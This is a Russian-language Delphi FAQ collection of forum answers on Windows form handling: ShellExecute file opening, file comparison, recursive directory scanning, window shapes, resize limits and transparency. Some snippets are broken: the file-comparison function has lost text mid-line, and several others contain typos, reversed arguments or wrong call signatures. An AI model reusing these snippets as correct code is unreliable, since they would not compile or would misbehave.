К заголовку




Открытие файла ассоциированной программой
Хотелось бы по двойному щелчку на имени файла в компоненте FileListBox
иметь возможность автоматически открыть его в нужном приложении, как мы
делаем это в любом из коммандеров(Norton, Windows). Насколько реально
это осуществить? И, если не совсем утопично, то как?

Ответить.

Ответ 1:
Вовсе это не утопия.

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 FileCtrl, StdCtrls, ShellApi;

type
 TForm1 = class(TForm)
  FileListBox1: TFileListBox;
  DriveComboBox1: TDriveComboBox;
  DirectoryListBox1: TDirectoryListBox;
  Label1: TLabel;
  procedure FileListBox1DblClick(Sender: TObject);
 private
  { Private declarations }
 public
  { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FileListBox1DblClick(Sender: TObject);
begin
 ShellExecute(Application.Handle, 'open', PChar(FileListBox1.FileName), nil, nil, SW_RESTORE)
end;

end.
Ответ 2:
Вполне реально. Создайте обработчик события OnDblClick для FileListBox и в зависимости от типа файла запустите то или иное
приложение функцией
ShellExecute. Например:

procedure TForm1.FileListBoxDblClick(Sender: TObject);
begin
   if Pos(FileListBox.FileName, '.doc') > 0 then
    ShellExecute(Handle, 'open'#0, 'd:\Office\winword.exe'#0, PChar(FileListBox.FileName), 'd:\Office''#0, sw_Show);
 // запустили документ
Word
end;
Замечу, что файлы-документы, привязанные к определенным приложениям, могут запускаться ShellExecute таким способом
    ShellExecute(Handle, 'open'#0, PChar(FileListBox.FileName), NULL, sw_Show); // запустили документ Word
К заголовку




Сравнение файлов?
function CompareFiles(Filename1,FileName2:string):longint;
{Сравнение файлов
возвращает номер несовпадающего байта,
(байты отсчитываются с 1)или:
0 - не найдено отличий,
-1 - ошибка файла 1
-2 - ошибка файла 2
-3 - другие ошибки}
const
 Buf_Size=16384;
var
 F1,F2:TFileStream;
 i:longint;
 Buff1,Buff2:PByteArray;
 BytesRead1,BytesRead2:integer;
begin
 Result:=0;
 try
  F1:=TFileStream.Create(FileName1,fmShareDenyNone);
 except
  Result:=-1;
  exit;
 end;
 try
  F2:=TFileStream.Create(FileName2,fmShareDenyNone);
 except
  Result:=-2;
  F1.Free;
  exit;
 end;
 GetMem(Buff1,Buf_Size);
 GetMem(Buff2,Buf_Size);
 try
  if F1.Size>F2.Size then Result:=F2.Size+1
  else if F1.SizeF1.Position) and (Result=0) do begin
    BytesRead1 :=F1.Read(Buff1^,Buf_Size);
    BytesRead2 :=F2.Read(Buff2^,Buf_Size);
    if (BytesRead1=BytesRead2) then begin
     for i:= 0 to BytesRead1-1 do begin
      if Buff1^[i]<>Buff2^[i]
      then begin
       result:=F1.Position-BytesRead1+i+1;
       break;
      end;
     end;
    end else begin
     Result:=-3;
     break;
    end;
   end;
  end;
 except
  Result:=-3;
 end;
 F1.Free;
 F2.Free;
 FreeMem(Buff1,Buf_Size);
 FreeMem(Buff2,Buf_Size);
end;
К заголовку




Запуск нужной программы в соответствии с расширением файла
Запуск нужной программы в соответствии с расширением файла
ShellExecute(0, Nil, 'name.ext' , Nil, Nil, SW_NORMAL);

//Будет запускаться для TXT-блокнот,HTML-explorer итд
К заголовку




Как в нужной дирректории взять название всех файлов, и запихнуть их в массив?
Помогите с таким вопросом. Как в нужной дирректории взять название всех файлов, и запихнуть их в массив? [D5]


Вот отрывок из одного моего старого проекта. Сканирует папку, создает список файлов в ней, для каждой
вложенной папки вызывает ее сканирование рекурсивно. Это чисто пример, код за тебя писать никто не будет...

{
DopName: string; // глобальная переменная, содержит имя вложенной папки
FFileList: TList; // список файлов, точнее указателей на TFile
FFilesCount: word; // кол-во файлов в папке, вместе со всеми вложенными
FFolderSize: cardinal; // общий размер папки
FSubFoldersCount: cardinal; // кол-во вложенных папок
}

procedure TFolderInspector.ScanFolder;
  var
     Found   : integer;
     filo    : TFile; // TFile = TSearchRec;
     AFile   : PFile; // PFile = ^TFile;
  begin
     // Начинаем сканирование...
     Found:=FindFirst(FolderName+DopName+'\*.*',faAnyFile,filo);
     while Found=0 do
        begin
         if (filo.Name<>'.') and (filo.Name<>'..') then // нашли очередной файл...
            begin
             // Запомним файл в списке, "посчитаем" его, увеличиваем FFolderSize...
             New(AFile);
             AFile^:=filo;
             AFile^.Name:=FolderName+DopName+'\'+AFile^.Name;
             FFileList.Add(AFile);
             Inc(FFilesCount);
             Inc(FFolderSize, AFile^.Size);
             // если же это директория ...
             if ((filo.Attr and faDirectory)>0) then
                begin
                 Inc(FSubFoldersCount);
                 // подготовимся к рекурсии...
                 Inc(Last);
                 Lens[Last]:=Length(filo.Name);
                 DopName:=DopName+'\'+filo.Name;
                 // запустим рекурсию...
                 ScanFolder;
                 // восстановимся после рекурсии...
                 System.Delete(DopName, Length(DopName)-Lens[Last], Lens[Last]+1);
                 Dec(Last);
                end; // if ((filo.Attr and faDirectory)>0) then
            end; // if (filo.Name<>'.') and (filo.Name<>'..') then
         // Берем очередной файл...
         Found:=FindNext(filo);
        end; // while Found=0 do ...
     // Закроем сканирование...
     FindClose(filo);
  end; // procedure TFolderInspector.ScanFolder;



--------------------------------------------------------------------------------
Yuraz ©   (12.09.01 10:46)
Ага, спасибо, начинаю разбиратся.
-------------------------------------------------------------------------------
Wizard ©   (12.09.01 12:18)
Есть такая штука - рекурсия
--------------------------------------------------------------------------------
Kelvin ©   (13.09.01 06:59)
Есть готовый компонент SearchFile с исходниками и демка, которая ищет файлы в указанном директории и
добавляет их в StringList. Имена файлов с путями можно, например загонять в текстовый файл.
--------------------------------------------------------------------------------
Леонид   (13.09.01 09:30)
Поместить на форму FileListBox и скачать из него.
--------------------------------------------------------------------------------
ShaggyDoc ©   (13.09.01 11:07)
А сам FileListBox сделать невидимым. Его данные можно использовать в своих корыстных целях. И никакого кода.
Неэстетично, зато дешево, надежно и практично. Из серии "Delphi для чайников"
--------------------------------------------------------------------------------
Slavik ©   (14.09.01 01:06)
А что в этом плохого??? Чем проще, тем меньше крови!!!
--------------------------------------------------------------------------------
Георгий ©   (14.09.01 08:30)
Ага, для любой элементарной операции нужно скачать специальную компоненту и поставить ее на форму. Мощный
софт получится.
--------------------------------------------------------------------------------
ShaggyDoc ©   (14.09.01 09:03)
>Георгий
Именно это я имел ввиду, когда писал, что "неэстетично". Но если человек не знает, как делается "элементарная"
операция, он может воспользоваться готовым компонентом. Или функцией. И у него сразу все заработаем. Потом
увидит и недостатки этого метода. Будет думать. Может быть. Может быть поймет, что МОЖНО и НУЖНО - это не
одно и то же.

Конкретно по спискам файлов - имеется множество разнообразных компонент, все чуть-чуть отличаются. Вполне
можно взять из них и кусок отработанного кода, а не спрашивать у людей, которые могут написать, сгоряча, ответ с
опечатками или с ошибками (это не намек на текст Roma), а потом будут еще и втянуты в обсуждение деталей
К заголовку




Вылет окна
Если Вы хотите ввести в изумление пользователя с первых минут его
использования Вашего приложения, тогда самый верный
способ - заставить окно  вылететь•, а не появиться обычным
способом!
Сделать это довольно легко, надо только описать два
события: OnShow (на появление формы) и OnClose
(на закрытие формы)

Выглядеть это будет так:

procedure TForm1.FormShow(Sender: TObject);
var
 RectSmall,RectNormal:TRect;
begin
 RectSmall:=Rect(0,0,0,0);
 RectNormal:=Form1.BoundsRect; DrawAnimatedRects(GetDesktopWindow,IDANI_CAPTION,RectSmall,RectNormal);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
 RectSmall,RectNormal:TRect;
begin
 RectSmall:=Rect(0,0,0,0);
 RectNormal:=Form1.BoundsRect; DrawAnimatedRects(GetDesktopWindow,IDANI_CAPTION,RectNormal,RectSmall);
end;

Как это сделано? Мы объявляем две переменные класса TRect
(От англ. Rectangle - прямоугольник ).
Называем их, например RectSmall и RectNormal. Для RectSmall мы
задаём нули:
(0,0,0,0),
тем самым указав начало координат, т.е. левый верхний угол
экрана. В RectNormal помещаем рамку формы с
помощью функции BoundsRect. Функция DrawAnimatedRects
создаёт перетекание начальной рамки в конечную.
В событии OnShow мы из маленькой рамки делаем
большую, окно вылетает, а в событии OnClose большая
рамка перетекает в маленькую окно улетает!
К заголовку




Показ окна без главной формы
Показ окна без главной формы

Попробуйте этот код в любом вторичном окне, которое вы НЕ хотите сопровождать главным окном:


...
private {Это включается в объявления формы.}
{ Private declarations }
procedure CreateParams(VAR Params: TCreateParams); override;
...


procedure TForm2.CreateParams(VAR Params: TCreateParams);
begin
Inherited CreateParams(Params);
Params.WndParent := GetDesktopWindow;
end;

Присваивая дескриптор окна родительской формы Рабочему столу, вы удаляете ту связь, которая, в нормальной ситуации, при
выводе окна на самый верхний уровень, заставляет переместиться туда также целиком все приложение.
К заголовку




Как изменить оконную процедуру для TForm?
Переопределите в подклассе TForm оконную процедуру WinProc класса. В примере оконная процедура переопределяется для того
чтобы реагировать на сообщение WM_CANCELMODE, показывающее, что выполняется messagebox или какой-либо еще диалог:

type
TForm1 = class(TForm)
Button1: TButton;
procedure WndProc (var Message: TMessage); override;
procedure Button1Click(Sender: TObject);
private
{Private declarations}
public
{Public declarations}
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WndProc (var Message: TMessage);
begin
if Message.Msg = WM_CANCELMODE then
begin
Form1.Caption := 'A dialog or message box has popped up';
end
else
inherited // <- остальное сделает родительская процедура
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('Test Message');
end;
К заголовку




Как среагировать на минимизацию-максимизацию формы перед тем как произойдет изменение размера формы?
В примере перехватывается сообщение WM_SYSCOMMAND. Если это сообщение говорит о минимизации или максимизации формы
- пищит динамик.
Пример:
type TForm1 = class(TForm)
private {Private declarations}
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;
public {Public declarations}
end;

var Form1: TForm1;
implementation {$R *.DFM}
procedure TForm1.WMSysCommand;
begin
if (Msg.CmdType = SC_MINIMIZE) or (Msg.CmdType = SC_MAXIMIZE) then MessageBeep(0)
else inherited;
end;
К заголовку




Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95?
Hадо ловить сообщение WM_NCPAINT.
Существует также компонент CustomNC by Alex Prilipko 2:5045/29, которые позволяет самому рисовать всю неклиентскую часть
окна.
(AP): Тот компонент - плохой. Совсем. Правильный компонент, by Акжан Абдулин и еще кто-то был в фэхе(не WDEVDELPHI).
Ищите cap*.zip.
NB: cap030.zip и cap031p.zip были в файлэхе FED32SRC.
К заголовку




Как задать в качестве фона MDIForm картинку из TBitmap?
Я делал так:

type ....  =class(TForm)
....
procedure FormCreate(Sender:TObject);
procedure FormDestroy(Sender:TObject);
....
private
FHBrush:HBRUSH;
FCover:TBitmap;
FNewClientInstance:TFarProc;
FOldClientInstance:TFarProc;
procedure NewClientWndProc(var Message:TMessage);
....
protected
....
procedure CreateWnd;override;
....
end;
.....

implementation

{$R myRes.res} //pесуpс с битмапом фона

procedure .FormCreate(...);
var
LogBrush:TLogbrush;
begin
FCover:=TBitmap.Create;
FCover.LoadFromResourceName(hinstance,'BMPCOVER');

With LogBrush do
begin
  lbStyle:=BS_PATTERN;
  lbHatch:=FCover.Handle;
end;
FHBrush:=CreateBrushIndirect(Logbrush);
end;

procedure .FormDestroy(...);
begin
DeleteObject(FHBrush);
FCover.Free;
end;

procedure .CreateWnd;
begin
  inherited CreateWnd;
if (ClientHandle <> 0) then
begin
if  NewStyleControls then
    SetWindowLong(ClientHandle, GWL_EXSTYLE, WS_EX_CLIENTEDGE or
      GetWindowLong(ClientHandle, GWL_EXSTYLE));

  FNewClientInstance:=MakeObjectInstance(NewClientWndProc);

  FOldClientInstance:=pointer(GetWindowLong(ClientHandle,GWL_WNDPROC));
  SetWindowLong(ClientHandle,GWL_WNDPROC,longint(FNewClientInstance));
end;
end;

procedure .NewClientWndProc(var Message:TMessage);

  procedure Default;
  begin
    with Message do
      Result := CallWindowProc(FOldClientInstance, ClientHandle, Msg, wParam,
                  lParam);
  end;

begin
  with Message do
    case Msg of
      WM_ERASEBKGND:
        begin
          FillRect(TWMEraseBkGnd(Message).DC, ClientRect,FHBrush);
          Result := 1;

        end;
      else
        Default;
    end;
  end;
end;
К заголовку




Как запретить изменение положения или размера моей формы?
Перехватывайте сообщение Windows WM_WINDOWPOSCHANGING и добавляйте к флагам структуры WindowPos, передаваемой в
параметр lparam собщения, константы SWP_NOMOVE и SWP_NOSIZE.

type
  TForm1 = class(TForm)
  private
    { Private declarations }
    procedure WMPosChange(var Message: TWMWINDOWPOSCHANGING);
       message WM_WINDOWPOSCHANGING;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure Tform1.WMPosChange(var Message: TWMWINDOWPOSCHANGING);
begin
  PWindowPos(TMessage(Message).lParam).Flags :=
     PWindowPos(TMessage(Message).lParam).Flags or
     SWP_NOMOVE or
     SWP_NOSIZE;
end;
К заголовку




Как запретить изменения размера окна формы?
=== 1 ===
Не пропускать сообщение о изменении дальше в диспетчере сообщений

=== 2 ===
Нужно обрабатывать сообщение WM_GETMINMAXINFO.

=== 3 ===
Если у тебя Delphi 5 то у формы есть такое свойство Constraints
Если поставить MaxWidth = 240 и MinWidth = 240 то изменений не будет

Либо воспользоваться компонентой FormPlacement или FormStorage из
библиотеки
RxLib.

Ну на крайний случай можно перекрыть событие WM_GETMINMAXINFO.

=== 4 ===
Как ограничить изменение размера только по горизонтали или вертикали не
знаю, а вот как вообще ограничить изменение размеров формы
В object Inspector у формы измени свойство BorderStyle на bsDialog -
размеры
изменить не удастся. Вообще поиграйся с этим свойством.
В свойстве BordeerIcons можешь убрать кнопки в верхнем правом углу
формы,
тогда пользователь не сможет и расширить форму на весь экран.

=== 5 ===
в событии OnResize пишешь, например, Form1.Width=200

=== 6 ===
Используй Form->Constraints
Constraints.MaxWidth=Constraints.MinWidth=(тут че нить больше нуля)

=== 7 ===
По-моему надо перехватывать событие WM_SIZING.
Это событие посылается форме при любых изменениях
размеров(сворачивании,разворачивании т.д)
пишем
procedure WMSIZING(var Msg:TMessage); message WM_SIZING;

Как только это сообщение окажется в очереди вызовется на обработку
наша фия WMSIZING(при ее раскрытии писать message WM_SIZING не
нужно).
в одном из параметров (wParam )переданных в эту фию будет код произошедшего
события. Если это не нужное нам изменение то мы просто обнуляем его
(параметр через var передается).

procedure WMSIZING(var Msg:TMessage);
begin
  if Msg.WParam=WMSZ_LEFT then Msg.WParam=0
   esle
    inherited;//вернуть обработку по умолчанию
end;

Рядом нет Дельфи -проверить не могу, поэтому лучше еще раз прочитайте Programmers
Refererence на ключ WM_SIZING.

=== 8 ===
Если у тебя 4.0-5.0 то в свойстве формы Constraints есть MaxWidth amp& MinWidth. Поставь им одинаковые значения.

Если версия Delphi ниже - пиши обработчик для обработки WM_NCHITTEST. Это что-то вроде:
  ...
TForm1 = class (TForm)
 ...
private
    procedure WMNCHitTest(var Msg: TWMNCHitTest); message WM_NCHitTest;
  ....
end;
 ...
procedure TForm1.WMNCHitTest(var Msg: TWMNCHitTest);
var res: integer;
begin
    res := DefWindowProc(TForm1.Handle, Msg.Msg, Msg.Unused, integer(Msg.Pos));
    if (res = HTLEFT) or (res = HTRIGTH) then     // курсор над левой/правой границей формы
      res := HTNOWHERE

    Msg.Result := res;
end;

=== 9 ===
Нужно объявить процедуру в частных объявлениям (после ключевого слова Private):

private
{ Private declarations }
procedure WMGetMinMaxInfo(var Info:TWMGetMinMaxInfo); message wm_GetMinMaxInfo;


В области implementation описываем процедуру так: implementation

{$R *.DFM}

procedure TForm1.WMGetMinMaxInfo(var Info:TWMGetMinMaxInfo);
begin
    with Info.MinMaxInfo^ do begin
        ptMinTrackSize.x:=200;
        ptMinTrackSize.y:=100;
        ptMaxTrackSize.x:=300;
        ptMaxTrackSize.y:=200;
        ptMaxPosition.x:=BoundsRect.Left;
        ptMaxPosition.y:=BoundsRect.top;
    end;
    inherited;
end;

Как это сделано?

Строка

ptMinTrackSize.x:=200;

задаёт минимальный размер окна по оси Х, т.е. минимальную ширину окна, строка

ptMinTrackSize.y:=200;

- минимальную высоту. Максимальные лимиты задаются соответственно:

ptMaxTrackSize.x:=300;
ptMaxTrackSize.y:=200;

Даже если пользователь развернёт окно, оно не превысит максимальные значения, указанные нами! Следующие две строки задают
положение левого верхнего угла окна в развёрнутом виде

ptMaxPosition.x:=BoundsRect.Left;
ptMaxPosition.y:=BoundsRect.top;

 - левый верхний угол не сместиться
К заголовку




Как запретить клавишу close у любого окна Windows?
Следующий пример запрещает клавишу close и сответствующий пункт в системном меню.

procedure TForm1.Button1Click(Sender: TObject);
var
  hwndHandle : THANDLE;
  hMenuHandle : HMENU;
begin
  hwndHandle := FindWindow(nil, 'Untitled - Notepad');
  if (hwndHandle <> 0) then
  begin
    hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
    if (hMenuHandle <> 0) then
    DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
  end;
end;

К заголовку




Как мне запрограммировать непрямоугольную форму?
=== 1 ===
(ArAs): SetWindowRgn(); (только Win32).

=== 2 ===
(AV): Есть компонент TFormShaper, free for noncommercial use:
http://www.wirtschaft.tu-ilmenau.de/~aeg/

=== 3 ===
(AM:) (Win32) Пример кода, создающий эллиптическую форму, которую к тому же
можно двигать за любую точку, что демонстрирует обработку сообщения
WM_NCHITTEST:

unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    rgn : HRGN;
    procedure WMNCHitTest(var Message : TWMNCHitTest); message WM_NCHITTEST;
  protected

  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
rgn := CreateEllipticRgn(0, 0, Width, Height);
SetWindowRgn(Handle, rgn, True);
end;

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
if PtInRegion(rgn, Message.XPos, Message.YPos) then
  Message.Result := HTCAPTION
else
  Message.Result := HTNOWHERE;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteObject(rgn);
end;

end.

=== 4 ===
(DK:) Hадо задать форме стиль окна WS_EX_TRANSPARENT. Тогда будут рисоваться
только лежащие на ней контролы.

Вот пример кода:

type
  TForm1 = class(TForm)
  { ... }
  protected
    procedure CreateParams(var Params : TCreateParams); override;
  end;

procedure TForm1.CreateParams(var Params : TCreateParams);
begin
inherited CreateParams(Params);
{ форма становится прозрачной }
Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;
end;

end;
===  5 ===
Пример "Звездочки" и "Ромба"
var
  p : Array[0..9] of TPoint;
  helpRgn : HRGN;
  aRect : TRect;
begin
 aRect := Rect(0,0,Form1.Width,Form1.Height);
  with aRect do
    begin
      {p[0] := Point(Left + (Right - Left) div 2, Top);
      p[1] := Point(Left+Round(0.65*(Right-Left)),Top+Round(0.38*(Bottom-Top)));
      p[2] := Point(Right,Top+Round(0.38*(Bottom-Top)));
      p[3] := Point(Left+Round(0.7*(Right-Left)),Top+Round(0.6*(Bottom-Top)));
      p[4] := Point(Left+Round(0.85*(Right-Left)),Bottom);
      p[5] := Point(Left+(Right-Left)div 2,Top+Round(0.75*(Bottom-Top)));
      p[6] := Point(Left+Round(0.15*(Right-Left)),Bottom);
      p[7] := Point(Left+Round(0.3*(Right-Left)),Top+Round(0.6*(Bottom-Top)));
      p[8] := Point(Left,Top+Round(0.38*(Bottom-Top)));
      p[9] := Point(Left+Round(0.35*(Right-Left)),Top+Round(0.38*(Bottom-Top)));
       }
      p[0] := Point(Left + (Right - Left) div 2, Top);
      p[1] := Point(Left, Top + (Bottom - Top) div 2);
      p[2] := Point(Left + (Right - Left) div 2, Bottom);
      p[3] := Point(Right, Top + (Bottom - Top) div 2);

      helpRgn := CreatePolygonRgn (p, 4, ALTERNATE);
      SetWindowRgn (Form1.Handle, helpRgn, true);
    end;
end;

=== 6 ===
Скачать необходимые для компиляции файлы проекта можно на program.dax.ru

uses math;

const
  r = 60;
  maxx = 400;
  maxy = 300;
  BallCount = 3;
  OneStep = 1;

var
  xo, yo, vx, vy: array [0..BallCount-1] of double;

function GetBumTime(var n: integer; var t: double): boolean;
  function GetOneBumTime(index: integer): double;
  begin
    result := min(
      max((maxx - r - xo[index]) / vx[index],
      -(xo[index] - r) / vx[index]),
      max((maxy - r - yo[index]) / vy[index],
      -(yo[index] - r) / vy[index]));
  end;
var
  i: integer;
  OneTime: double;
begin
  OneTime := GetOneBumTime(0);
  result := OneTime < t;
  n := 0;
  for i := 1 to BallCount - 1 do begin
    OneTime := GetOneBumTime(i);
    if OneTime < t then begin
      t := OneTime;
      n := i;
      result := true;
    end;
  end;
end;

function GetCrashTime(var t: double; var n1, n2: integer): boolean;
var
  i, j: integer;
  D: double;
  dx, dy, dvx, dvy: double;
  t1, t2: double;
begin
  result := false;
  for i := 0 to BallCount - 2 do
    for j := i + 1 to BallCount - 1 do begin
      dvx := vx[i] - vx[j];
      dvy := vy[i] - vy[j];
      dx := xo[i] - xo[j];
      dy := yo[i] - yo[j];

      D := 2*dx*dvx*dy*dvy - sqr(dvx*dy) - sqr(dvy*dx) +
        4*r*r*(dvx*dvx + dvy*dvy);
      if D < 0 then continue;
      if D > 1E-20 then D := sqrt(D);
      t1 := -(dvx*dx + dvy*dy + D) / (sqr(dvx) + sqr(dvy));
      t2 := -(dvx*dx + dvy*dy - D) / (sqr(dvx) + sqr(dvy));
      if (t1 <= 1E-5) and (t2 <= 1E-5) then continue;
      if (t1 > 0) and (t2 > 0)
        then t1 := min(t1, t2)
        else t1 := max(t1, t2);
      if t1 < t then begin
        t := t1;
        n1 := i;
        n2 := j;
        result := true;
      end;
    end;
end;

procedure Step(dt: double);
var i: integer;
begin
  for i := 0 to BallCount - 1 do begin
    xo[i] := xo[i] + vx[i] * dt;
    yo[i] := yo[i] + vy[i] * dt;
  end;
end;

procedure Draw;
var
  i: integer;
  rgn, ball: hRgn;
begin
  rgn := CreateRectRgn(0, 0, maxx - 1, maxy - 1);
  ball := CreateEllipticRgn(0, 0, r*2 - 1, r*2 - 1);
  for i := 0 to BallCount - 1 do begin
    OffsetRgn(ball, round(xo[i] - r), round(yo[i] - r));
    CombineRgn(rgn, rgn, ball, RGN_XOR);
    OffsetRgn(ball, round(r - xo[i]), round(r - yo[i]));
  end;
  DeleteObject(ball);
  SetWindowRgn(Form1.Handle, rgn, true);
end;

procedure FillBalls;
var
  i, j: integer;
  x, y: double;
  allright: boolean;
begin
  randomize;
  for i := 0 to BallCount - 1 do begin
    repeat
      x := random(maxx - 2 * r) + r;
      y := random(maxy - 2 * r) + r;
      allright := true;
      for j := 0 to i - 1 do begin
        if sqr(x - xo[j]) + sqr(y - yo[j]) <= 5 * r * r
        then begin
          allright := false;
          break;
        end;
      end;
    until allright;
    xo[i] := x;
    yo[i] := y;
    vx[i] := random - 0.5;
    vy[i] := random - 0.5;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  F, Fx, Fy, t, BumT, CrashT, a: double;
  BumN, Crash1, Crash2: integer;
begin
  Button1.Visible := false;
  Form1.Width := maxx; Form1.Height := maxy;
  Form1.Color := clBlack;
  FillBalls;
  repeat
    t := 0;
    repeat
      BumT := OneStep - t;
      CrashT := OneStep - t;
      if (not GetBumTime(BumN, BumT)) and
        (not GetCrashTime(CrashT, Crash1, Crash2)) then break;
      if (CrashT < BumT) then begin
        Step(CrashT);
        a := arctan2(yo[Crash1] - yo[Crash2], xo[Crash1] - xo[Crash2]);
        F := cos(a) * (vx[Crash2] - vx[Crash1]) +
          (vy[Crash2] - vy[Crash1]) * sin(a);
        Fx := F * cos(a);
        vx[Crash1] := vx[Crash1] + Fx;
        vx[Crash2] := vx[Crash2] - Fx;
        Fy := F * sin(a);
        vy[Crash1] := vy[Crash1] + Fy;
        vy[Crash2] := vy[Crash2] - Fy;
        t := t + CrashT;
      end else begin
        Step(BumT);
        if max((maxx - r - xo[BumN]) / vx[BumN],
          -(xo[BumN] - r) / vx[BumN]) <
          max((maxy - r - yo[BumN]) / vy[BumN],
          -(yo[BumN] - r) / vy[BumN])
          then vx[BumN] := -vx[BumN]
          else vy[BumN] := -vy[BumN];
        t := t + BumT;
      end;
    until false;
    Step(OneStep - t);
    Draw;
    Application.ProcessMessages;
  until Application.Terminated;
end;
К заголовку




Как перемещать форму за определенное место и Control'ы работают?
(AM:) (Win32) Пример кода, создающий эллиптическую форму, которую к тому же
можно двигать за любую точку, что демонстрирует обработку сообщения
WM_NCHITTEST:
unit main;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
    rgn : HRGN;
    procedure WMNCHitTest(var Message : TWMNCHitTest); message WM_NCHITTEST;
  protected

  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
rgn := CreateEllipticRgn(0, 0, Width, Height);
SetWindowRgn(Handle, rgn, True);
end;

procedure TForm1.WMNCHitTest(var Message : TWMNCHitTest);
begin
if PtInRegion(rgn, Message.XPos, Message.YPos) then
  Message.Result := HTCAPTION
else
  Message.Result := HTNOWHERE;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteObject(rgn);
end;

end.
К заголовку




Как правильно закрыть и удалить форму?
Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется?
Обрабатывайте событие OnClose для формы и выставляйте в нем параметр
Action в caFree. Дело в том, что его значение по умолчанию для MDI Child
форм =caMinimize. Кстати, если сделать Action := caNone, то форму нельзя
будет закрыть.
К заголовку




Как правильно работать с прозрачными окнами?
Стиль окна-формы указывается в CreateParams (если не перепутал). Только вот когда перемещаешь его, фон остается со старым
куском экрана. Чтобы этого не происходило, то когда pисуешь своё окно, запоминай, что было под ним,а пpи пеpемещении
восстанавливай.
HDC hDC = GetDC(GetDesktopWindow()) тебе поможет..
К заголовку




Как сделать окно, которое перетаскивается не за заголовок (caption), а за все поле?
Нужно обрабатывать сообщение WM_NCHITTEST:
===  1  ===
TForm1 = class(TForm)
...
private
...
procedure WMNCHitTest(var M: TWMNCHitTest); message wm_NCHitTest;
...
end;
...
procedure TForm1.WMNCHitTest(var M: TWMNCHitTest);
begin
inherited; { вызов унаследованного обработчика }
if M.Result = htClient then { Мышь сидит на окне? }
M.Result := htCaption; { Если да - то пусть Windows думает, что }
{ мышь на caption bar }
end;
...
Окно можно сделать вообще без caption.

===  2  ===
А вот это еще лучше!

  private
    procedure WndProc(var Msg: TMessage); override;
 .  .  .  .
procedure TForm1.WndProc(var Msg: TMessage);
begin
  inherited WndProc(Msg);
  with Msg do
    if (Msg = WM_NCHitTest) and (Result = htClient) then
      Result := htCaption
end;

К заголовку




Как убрать из формы Caption?
SetWindowLong (Main.Handle,GWL_STYLE,
  GetWindowLong(Main.Handle, GWL_STYLE) AND NOT WS_CAPTION OR WS_SIZEBOX);
К заголовку




Каков порядок обработчиков событий при создании и отображении формы?
Обработчики событий выполняются в следующем порядке:
OnCreate, OnShow, OnPaint, OnActivate, OnResize и снова OnPaint.
К заголовку




Переопределение параметров формы при ее создании
Данный код позволяет создать окно без неклиентской области, но с толстым бордюром .

unit MainFrm;

interface

uses
SysUtils, Windows, Messages, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TMainForm = class(TForm)
btnClose: TButton;
procedure btnCloseClick(Sender: TObject);
private
{ Private declarations }
protected
// Capture the WM_NCHITTEST message to enable moving the form.
procedure WMNCHitTest(var Message: TWMNCHitTest); message WM_NCHITTEST;
public
{ Public declarations }
procedure CreateParams(var Params: TCreateParams); override;
end;

var
MainForm: TMainForm;

implementation

{$R *.DFM}

procedure TMainForm.WMNCHitTest(var Message: TWMNCHitTest);
begin
inherited;
Message.Result := HTCAPTION;
end;

procedure TMainForm.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.Style := WS_THICKFRAME or WS_POPUP or WS_BORDER;
end;

procedure TMainForm.btnCloseClick(Sender: TObject);
begin
Close;
end;

end.
К заголовку




Наполовину активное окно
Как сделать так, чтобы окно было неактивно? Вы скажите: "Ничего сложного. Нужно только свойство окна Enabled установить в
false"... но, так как окно является владельцем компонентов, находящихся на нём, то и все компоненты станут неактивными! Но был
найден способ избежать этого!

Делаем так:

Нужно объявить процедуру в частных объявлениям (после ключевого слова Private):

private
{ Private declarations }
procedure WMNCHitTest (var M:TWMNCHitTest);message wm_NCHitTest;

В области implementation описываем процедуру так:

implementation
{$R *.DFM}


procedure TForm1.WMNCHitTest (var M:TWMNCHitTest);
begin
if M.Result=htClient then M.Result:=htCaption;
end;
К заголовку




Полупрозрачное окно в Windows 2000
=== 1 ===
 SetWindowTransp(hndl: THandle; Perc: byte);
hndl - Hanle окна, которое надо сделать полупрозрачным.
Perc - число от 1 до 100, указывающее уровень прозрачности.

=== 2 ===
Чтобы поменять прозрачность окна под Win2000, например, сделать его полупрозрачным я пишу
SetLayeredWindowAttributes(Handle, clBlack, 122,LWA_ALPHA);
А если запустить этот exe-шник под Win95, то выдаётся ошибка об отсуствующем компоненте
SetLayeredWindowAttributes
К заголовку




Как создать мигающий заголовок окна (пиктограмму)?
Можно воспользоваться функцией API FlashWindow():

Пример:

             var
               Flash : bool;

             procedure TForm1.Timer1Timer(Sender: TObject);
             begin
               FlashWindow(Form1.Handle, Flash);
               FlashWindow(Application.Handle, Flash);
               Flash := not Flash;
             end;

             procedure TForm1.FormCreate(Sender: TObject);
